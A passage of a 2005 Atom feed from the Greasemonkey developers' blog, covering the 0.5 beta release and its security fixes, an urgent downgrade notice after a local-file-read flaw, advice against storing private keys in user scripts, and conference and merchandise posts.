type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112464600364113935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112464600364113935'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/08/gmail-preview.html' title='Gmail Preview'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>54</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112335253735951367</id><published>2005-08-06T11:14:00.000-07:00</published><updated>2005-08-06T11:22:17.366-07:00</updated><title type='text'>Aaron's OSCON 2005 slides</title><content type='html'>Some people who were at OSCON and saw my &lt;a href="http://conferences.oreillynet.com/cs/os2005/view/e_sess/7500"&gt;presentation&lt;/a&gt; asked if they would be able to get the slides online.&lt;br /&gt;&lt;a href="http://youngpup.net/gmtalk/presentation.html"&gt;&lt;br /&gt;I've posted them to my website&lt;/a&gt;. You can also &lt;a href="http://youngpup.net/gmtalk/gmtalk.zip"&gt;download&lt;/a&gt; them.&lt;br /&gt;&lt;br /&gt;OSCON was a lot of fun. Here's what I've been able to learn about Portland:&lt;br /&gt;&lt;ul&gt;   &lt;li&gt;People: very friendly&lt;br /&gt;  &lt;/li&gt;   &lt;li&gt;summer weather: great&lt;br /&gt;  &lt;/li&gt;   &lt;li&gt;public transport: efficient and clean&lt;/li&gt;   &lt;li&gt;food: superb&lt;/li&gt;   &lt;li&gt;&lt;a href="http://portland.citysearch.com/profile/8470146/portland_or/le_bistro_montage.html"&gt;Montage&lt;/a&gt;: recommended&lt;/li&gt;   &lt;li&gt;&lt;a href="http://moboogs.blogspot.com/2005/08/burnside-skatepark.html"&gt;Burnside&lt;/a&gt; skaters: insane&lt;/li&gt;   &lt;li&gt;Nightlife: very amusing&lt;/li&gt;   &lt;li&gt;Books: available&lt;br /&gt;  &lt;/li&gt; &lt;/ul&gt; So in general, utopia. A fine place for a nerd conference.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112335253735951367?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112335253735951367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112335253735951367' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112335253735951367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112335253735951367'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/08/aarons-oscon-2005-slides.html' title='Aaron&apos;s OSCON 2005 slides'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112302476001658042</id><published>2005-08-02T16:15:00.000-07:00</published><updated>2005-08-02T16:19:20.023-07:00</updated><title type='text'>Mozdev down</title><content type='html'>It would appear that mozdev.org - which generously hosts Greasemonkey's website - is down today.&lt;br /&gt;&lt;br /&gt;Luckily, the Greasemonkey installer is not actually hosted on mozdev. So you can still &lt;a href="http://userscript.org/greasemonkey-0.5.xpi"&gt;install Greasemonkey&lt;/a&gt; by going directly there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112302476001658042?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112302476001658042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112302476001658042' title='48 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112302476001658042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112302476001658042'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/08/mozdev-down.html' title='Mozdev down'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>48</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112278854285844211</id><published>2005-07-30T22:27:00.000-07:00</published><updated>2005-08-01T00:06:46.356-07:00</updated><title type='text'>Greasemonkey 0.5 Beta</title><content type='html'>All of us here in Greasemonkeyland are extremely happy to announce that &lt;a href="http://greasemonkey.mozdev.org/changes/0.5.html"&gt;Greasemonkey 0.5 beta&lt;/a&gt; is now available for download. Horray!&lt;br /&gt;&lt;br /&gt;It should go without saying, but: &lt;span style="font-weight: bold;"&gt;this is beta software&lt;/span&gt;. There will definitely be bugs. Install at your own risk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Security&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The major news with this release is, of course, security. Greasemonkey 0.5 is much more secure than 0.3.5. Several important classes of attacks have been completely disabled and others have been made more difficult, particularly in Deer Park.&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;In Greasemonkey 0.3.4, it was possible for JavaScript on webpages you visited ("content") to use &lt;a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings-mutationevents"&gt;DOM mutation events&lt;/a&gt;, &lt;a href="http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Objects:Object:watch"&gt;watchpoints&lt;/a&gt;, or Mozilla's proprietary __defineSetter__ method to get references to the special GM API functions. This has been fixed by moving user script execution away from content completely. Now, user scripts are executed in a separate object -- a "sandbox" -- which is not part of the content window. That means that content scripts cannot acccess it, and thus, cannot employ any of the tricks above to get access to the special GM APIs.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;In earlier versions, it was possible to &lt;a href="http://dean.edwards.name/weblog/2005/03/ungreased/"&gt;block Greasemonkey itself&lt;/a&gt; by redefining certain content DOM methods that it used to inject scripts. This has been fixed in 0.5 by only ever accessing content via the special &lt;a href="http://developer-test.mozilla.org/en/docs/XPCNativeWrapper"&gt;XPCNativeWrapper&lt;/a&gt; objects provided by Firefox for this purpose.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;It has long been understood and accepted that it would be possible to block individual user scripts by looking at which core DOM methods they try to use and redefining those. This will be a lot more difficult to do in Greasemonkey 0.5 when it is running on Deer Park. On Deer Park, the &lt;span style="font-style: italic;"&gt;window&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;document&lt;/span&gt; global variables for Greasemonkey user scripts are also XPCNativeWrappers.&lt;br /&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul&gt;   &lt;li&gt;It was recently discovered that &lt;a href="http://diveintogreasemonkey.org/api/gm_xmlhttprequest.html"&gt;GM_xmlhttpRequest&lt;/a&gt; was able to access the file:// protocol and read local files. This has been fixed.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;In all previous versions of Greasemonkey, it was trivial for content to monitor what user scripts you ran and get the source code for them. Running Deer Park and Greasemonkey 0.5, it's significantly less likely. It's still not impossible, however, so please continue to &lt;a href="http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112170460230395236"&gt;not put passwords in Greasemonkey user scripts&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;Of course, no software is ever perfectly secure. Greasemonkey's entire point of existence is to mash code from two different trust domains into the same space, so it has been particularly tricky. This will be an ongoing fight. But for now, I believe that there are no known major security issues with Greasemonkey 0.5 and that it is safe to use. I also think that any future fixes will be much easier to make.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Features&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since Greasemonkey 0.5 is actually the combination of a massive security audit and all the new code which was planned for 0.4, there are lots of new features too:&lt;br /&gt;&lt;ul&gt;   &lt;li&gt;&lt;a href="http://diveintogreasemonkey.org/api/gm_registermenucommand.html"&gt;GM_registerMenuCommand&lt;/a&gt; (documentation forthcoming) now takes extra parameters to add keyboard shortcuts.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;GM_registerMenuCommand no longer gets confused sometimes when switching tabs.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;Greasemonkey's previous memory leakage problems have been addressed.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;A new API, GM_openInTab has been added. You can now use a Greasemonkey user script to open a URL in a new Firefox tab.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;A new menu item has been added: New User Script, which you can use to start a new script. It adds all the boilerplate text to the file so you can get started typing right away.&lt;/li&gt; &lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;For User Script Authors&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For the most part, Greasemonkey 0.5 should be perfectly backward compatible with your existing user scripts in Firefox 1.0.x. In some cases, however, it can bite you when it didn't before. Generally speaking:&lt;br /&gt;&lt;ul&gt;   &lt;li&gt;Never add properties or functions to &lt;span style="font-style: italic;"&gt;window&lt;/span&gt;. It's not safe because content can redefine these functions to mean something other than what you wrote.&lt;br /&gt;&lt;br /&gt;For example, you should never write code like this:&lt;br /&gt;&lt;pre&gt;window.handleClick = function() {&lt;br /&gt;alert("something was clicked!");&lt;br /&gt;}&lt;br /&gt;button.setAttribute("click", "window.handleClick()");&lt;/pre&gt;&lt;br /&gt;Instead, do it this way:&lt;br /&gt;&lt;pre&gt;function handleClick() {&lt;br /&gt;alert("something was clicked!");&lt;br /&gt;}&lt;br /&gt;button.addEventListener("click", handleClick, false);&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia,serif;"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:georgia,serif;"&gt;When you want to manipulate the DOM, always fully-qualify your expressions with &lt;span style="font-style: italic;"&gt;window&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;document&lt;/span&gt;. So if you want to call &lt;span style="font-style: italic;"&gt;alert&lt;/span&gt; on the current window, say &lt;span style="font-style: italic;"&gt;window.alert &lt;/span&gt;instead of just &lt;span style="font-style: italic;"&gt;alert.&lt;/span&gt; By doing this, you are sure to get the real alert method instead of a new one that content has used to overwrite the real one.&lt;br /&gt;&lt;br /&gt;In a future version of Greasemonkey, the ability to call methods and properties of &lt;span style="font-style: italic;"&gt;window&lt;/span&gt; without this qualification will probably go away, so best to get in the habit now.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;   &lt;li&gt;&lt;span style="font-family:georgia,serif;"&gt;Keep up with the &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts?action=highlight&amp;amp;value=xpcnativewrapper#head-4ac4d1e80f8bbd66bf4f1fbea77ea2390b6a2870"&gt;current Deer Park best practices&lt;/a&gt; on the Greasemonkey wiki.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;   &lt;li&gt;&lt;span style="font-family:georgia,serif;"&gt;Test in Deer Park if possible. Everything that works in Deer Park will definitely work in FF 1.0.x, but the reverse is not true. So it's best to test or develop your scripts in Deer Park for maximum compatibility.&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt;&lt;br /&gt;So that's it. If you have any other questions, the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;Greasemonkey mailing list&lt;/a&gt; is, as always, the place to ask them.&lt;br /&gt;&lt;br /&gt;Happy scripting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112278854285844211?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112278854285844211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112278854285844211' title='91 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112278854285844211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112278854285844211'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/07/greasemonkey-05-beta.html' title='Greasemonkey 0.5 Beta'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>91</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112251271191021907</id><published>2005-07-27T18:03:00.000-07:00</published><updated>2005-07-27T18:05:11.916-07:00</updated><title type='text'>Funny Greasemonkey quotes #17 (of a seemingly infinite series)</title><content type='html'>&lt;blockquote&gt;... [to win at the internet now], you have to make your site easily hooked into by Greasemonkey. It’s like an arms escalation race, only with hugs and easy-to-use web applications.&lt;br /&gt;&lt;br /&gt;-- &lt;a href="http://patrickgaskill.com/?p=3"&gt;Patrick Gaskill&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112251271191021907?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112251271191021907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112251271191021907' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112251271191021907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112251271191021907'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/07/funny-greasemonkey-quotes-17-of.html' title='Funny Greasemonkey quotes #17 (of a seemingly infinite series)'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112249029821818524</id><published>2005-07-27T11:21:00.000-07:00</published><updated>2005-07-27T13:21:23.900-07:00</updated><title type='text'>Greasemonkey hole proves Firefox is insecure? Not so much.</title><content type='html'>This meme has been bouncing over the net for the last few days. From Jon Udell's provocatively titled post &lt;a href="http://www.infoworld.com/article/05/07/27/31OPstrategic_1.html"&gt;Greasemonkey in Crisis&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;"&lt;span class="artText"&gt;As the dust began to settle, a debate began, refracted through the lens of ideology. This time there was no &lt;b&gt;Microsoft&lt;/b&gt; (&lt;a href="http://www.infoworld.com/Microsoft/company_45844.html?index=0&amp;view=0&amp;amp;curNodeId=0" class="companyLink"&gt;Profile&lt;/a&gt;, &lt;a href="http://www.infoworld.com/Microsoft/company_45844.html?index=0&amp;view=1&amp;amp;curNodeId=0" class="companyLink"&gt;Products&lt;/a&gt;, &lt;a href="http://www.infoworld.com/Microsoft/company_45844.html?index=0&amp;view=2&amp;amp;curNodeId=0" class="companyLink"&gt;Articles&lt;/a&gt;) to blame. The open source underdogs had done this to themselves. And while some would argue it wasn't Firefox's fault -- since Greasemonkey is a user-installed extension -- Firefox took its share of the blame, just as Internet Explorer does when its add-ins cause trouble."&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;I'd just like to clarify that I don't think this proves anything about Firefox's security. Firefox - just like other browsers - has a extension system that allows users to install and run separately-developed programs within the security context of the browser, after an explicit confirmation and approval process.&lt;br /&gt;&lt;br /&gt;The fact that such an extension has a flaw should not reflect on Firefox. The flawed code was developed separately from Firefox. It's completely different than if, for example, the browser itself had a problem which could allow an extension to be installed silently, without any user approval.&lt;br /&gt;&lt;br /&gt;Continuing from the article:&lt;br /&gt;&lt;blockquote&gt;Some say that open source software is inherently secure because the “open source process” makes it so. Wrong. Open source software, and the collaborative culture that surrounds it, have surely enhanced Firefox’s security. But also necessary is a disciplined approach to reducing the attack surface area.&lt;/blockquote&gt;I'd like to point out that Greasemonkey was the first Firefox extension I had ever written. It got very popular very quickly. The fact that it had a hole only proves that someone new to a platform can create software with holes. This shouldn't come as a surprise to anyone.&lt;br /&gt;&lt;br /&gt;Greasemonkey 0.4.x, on the other hand, has had the benefit of much more experience on the part of it's developers. Since it is open, it has also been able to benefit from the review and advice of a community of even more senior developers. If bugs are discovered in it, they will be discussed, fixed, and scrutinizeded openly. And Greasemonkey will again be able to benefit from the advice and review of this broad community. &lt;br /&gt;&lt;br /&gt;I think that's the main point that Open Source advocates try to make.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112249029821818524?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112249029821818524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112249029821818524' title='26 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112249029821818524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112249029821818524'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/07/greasemonkey-hole-proves-firefox-is.html' title='Greasemonkey hole proves Firefox is insecure? Not so much.'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>26</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112176545127700094</id><published>2005-07-19T02:08:00.000-07:00</published><updated>2005-07-19T02:33:00.313-07:00</updated><title type='text'>Mandatory Greasemonkey Update</title><content type='html'>Yesterday, Mark Pilgrim discovered and &lt;a href="http://mozdev.org/pipermail/greasemonkey/2005-July/004033.html"&gt;announced&lt;/a&gt; a very serious security vulnerability in Greasemonkey. The flaw allows any website which matches at least one user script (even * scripts) to read any local file on your machine, or to list the contents of local directories. The flaw applies to Greasemonkey on all platforms.&lt;br /&gt;&lt;br /&gt;I'm working feverishly on a fix for this. But this will take several days. In the meantime, I strongly recommend that everyone either install &lt;a href="http://atrus.org/hosted/greasemonkey-0.3.5.xpi"&gt;Greasemonkey 0.3.5&lt;/a&gt;, or else disable or uninstall Greasemonkey completely.&lt;br /&gt;&lt;br /&gt;Greasemonkey 0.3.5 is a "neutered" version of Greasemonkey, lacking any of the &lt;a href="http://diveintogreasemonkey.org/api/index.html"&gt;GM* APIs&lt;/a&gt; which make Greasemonkey scripts more powerful than regular HTML. This means that &lt;span style="font-style: italic;"&gt;scripts which depend on GM* APIs will fail with Greasemonkey 0.3.5&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;I have heard no reports of this flaw being exploited, but now that it's public knowledge it isn't safe to continue using any version of Greasemonkey other than 0.3.5. Please either upgrade to 0.3.5 or disable Greasemonkey until I can get a fix finished.&lt;br /&gt;&lt;br /&gt;I'm aware of how badly this sucks for many of you. Please accept my deepest personal apologies and realize that I'll do my best to get a fixed Greasemonkey available just as soon as possible.&lt;br /&gt;&lt;br /&gt;If you have any other questions, the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;Greasemonkey mailing list&lt;/a&gt; is a good place to ask them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112176545127700094?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112176545127700094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112176545127700094' title='75 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112176545127700094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112176545127700094'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/07/mandatory-greasemonkey-update.html' title='Mandatory Greasemonkey Update'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>75</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112170460230395236</id><published>2005-07-18T09:23:00.000-07:00</published><updated>2005-07-18T09:36:42.310-07:00</updated><title type='text'>Please do not put private keys in user scripts (yet)</title><content type='html'>Joe Gregorio wrote a really interesting piece on XML.com about sending &lt;a href="http://www.xml.com/pub/a/2005/07/13/secure-rss.html"&gt;encrypted data over insecure networks&lt;/a&gt;, using Greasemonkey to decrypt it on the client.&lt;br /&gt;&lt;br /&gt;In his demo, Joe lists his private key in the user script &lt;a href="http://bitworking.org/projects/securesyndication/script/securesyndication.user.js"&gt;source&lt;/a&gt;. &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Please do not put private information into user script source code, &lt;span style="font-style: italic;"&gt;yet&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;As a side-effect of the way that we are currently injecting user scripts, it's possible for malicious sites to sniff their contents. So, for example, if Bloglines got hacked, or somebody exploited a XSS vulnerability to get Bloglines to include their JavaScript in a feed, then Joe's private key could get stolen.&lt;br /&gt;&lt;br /&gt;We're thinking about ways to run user scripts completely separate from the DOM, which would prevent this sniffing from being possible, but it doesn't exist yet. I'll post again here when that happens.&lt;br /&gt;&lt;br /&gt;===&lt;br /&gt;&lt;br /&gt;If you are an XPCOM/Mozilla/JavaScript expert, Greasemonkey needs you. We are looking for a way to execute JavaScript programatically with these restrictions:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;browser content window is the global object&lt;/li&gt;&lt;li&gt;script runs in same security context as browser content is currently running in&lt;/li&gt;&lt;li&gt;we have the ability to add other global objects of our choosing&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;I've looked into &lt;a href="http://www.xulplanet.com/references/xpcomref/xpcomref1.0/mozIJSSubScriptLoader.html"&gt;mozIJSSubScriptLoader&lt;/a&gt;, but it does not seem to solve any of these well or 2) at all. Post in the comments or on the Greasemonkey &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;mailing list&lt;/a&gt; if you have a solution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112170460230395236?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112170460230395236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112170460230395236' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112170460230395236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112170460230395236'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/07/please-do-not-put-private-keys-in-user.html' title='Please do not put private keys in user scripts (yet)'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111989611529136262</id><published>2005-06-27T11:03:00.000-07:00</published><updated>2005-06-27T11:22:58.353-07:00</updated><title type='text'>Will there ever be another Greasemonkey version?</title><content type='html'>Short answer: yes&lt;br /&gt;&lt;br /&gt;Slightly longer answer: sometime soon. Jeremy and I have been working on a refactor of Greasemonkey that we hope will make it easier to maintain and to add features to.&lt;br /&gt;&lt;br /&gt;This was mostly my idea, Jeremy just wanted to get the next version out. So blame me, I am weak :-). I just got tired of looking at the really, really bad "my-first-extension" Greasemonkey codebase.&lt;br /&gt;&lt;br /&gt;What you'll get out of the deal:&lt;br /&gt;&lt;ul&gt;   &lt;li&gt;A "new" button in the manage UI&lt;/li&gt;   &lt;li&gt;Compatibility with latest Deer Park builds&lt;/li&gt;   &lt;li&gt;Compatibility with Seamonkey&lt;/li&gt;   &lt;li&gt;Compatibility with Menu Editor (but not Compact Menu probably)&lt;/li&gt;   &lt;li&gt;Less of a chance of being detected or stopped by page authors&lt;/li&gt;   &lt;li&gt;Minor UI improvements, such as being able to press Enter/Esc in the various dialogs&lt;/li&gt;   &lt;li&gt;Easier development of future features&lt;/li&gt;   &lt;li&gt;No more memory leaks&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;Accelerator keys for menu commands&lt;/li&gt; &lt;/ul&gt; This one bit is actually the difficult point. There is this known bug in XUL where event handlers for menu items are lost when the nodes they are attached to are removed from the DOM. To get around this, we previously wrote the feature to rebuild the User script commands menu item whenever the Tools menu was activated.&lt;br /&gt;&lt;br /&gt;However, since registered menu items' commands need to be active immediately and cannot wait for the Tools menu to be shown, this approach will no longer work. The only solution we have been able to come up with so far seems to crash Firefox for unknown reasons.&lt;br /&gt;&lt;br /&gt;We'll work on this a little longer, but if no solution presents itself, we may need to ditch accelerator keys temporarily until we understand better what is causing this problem. We'll work on it for another week at the most.&lt;br /&gt;&lt;br /&gt;But hey! Userscript.org is very close to being real! That's cool, right? We have hosting with TextDrive all set up and we just need to put the code up there and turn it on and we'll be ready to roll. W00t!&lt;br /&gt;&lt;br /&gt;Very sorry for the delay on the next version. Hang in there, monkeyers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111989611529136262?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111989611529136262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111989611529136262' title='87 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111989611529136262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111989611529136262'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/06/will-there-ever-be-another.html' title='Will there ever be another Greasemonkey version?'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>87</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111871172634217521</id><published>2005-06-13T18:11:00.000-07:00</published><updated>2005-06-13T18:16:18.106-07:00</updated><title type='text'>Shwag</title><content type='html'>Gitcher smoove &lt;a href="http://www.cafepress.com/gmtshirts"&gt;Greasemonkey&lt;/a&gt; t-shirt heeya!  Courtesy of &lt;a href="https://addons.mozilla.org/extensions/authorprofiles.php?application=firefox&amp;category=Newest&amp;amp;numpg=10&amp;amp;id=1885"&gt;Mr. Platypus&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;A release is coming soon.  No, really.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111871172634217521?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111871172634217521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111871172634217521' title='38 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111871172634217521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111871172634217521'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/06/shwag.html' title='Shwag'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>38</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111661438748857394</id><published>2005-05-20T11:36:00.000-07:00</published><updated>2005-05-20T14:18:36.153-07:00</updated><title type='text'>Greasemonkey on addons.mozilla.org</title><content type='html'>&lt;a href="https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&amp;category=Newest&amp;amp;amp;amp;numpg=10&amp;amp;id=748"&gt;We've added Greasemonkey to addons.mozilla.org&lt;/a&gt; and are now directing all downloads to go through there. This probably means nothing to you, except 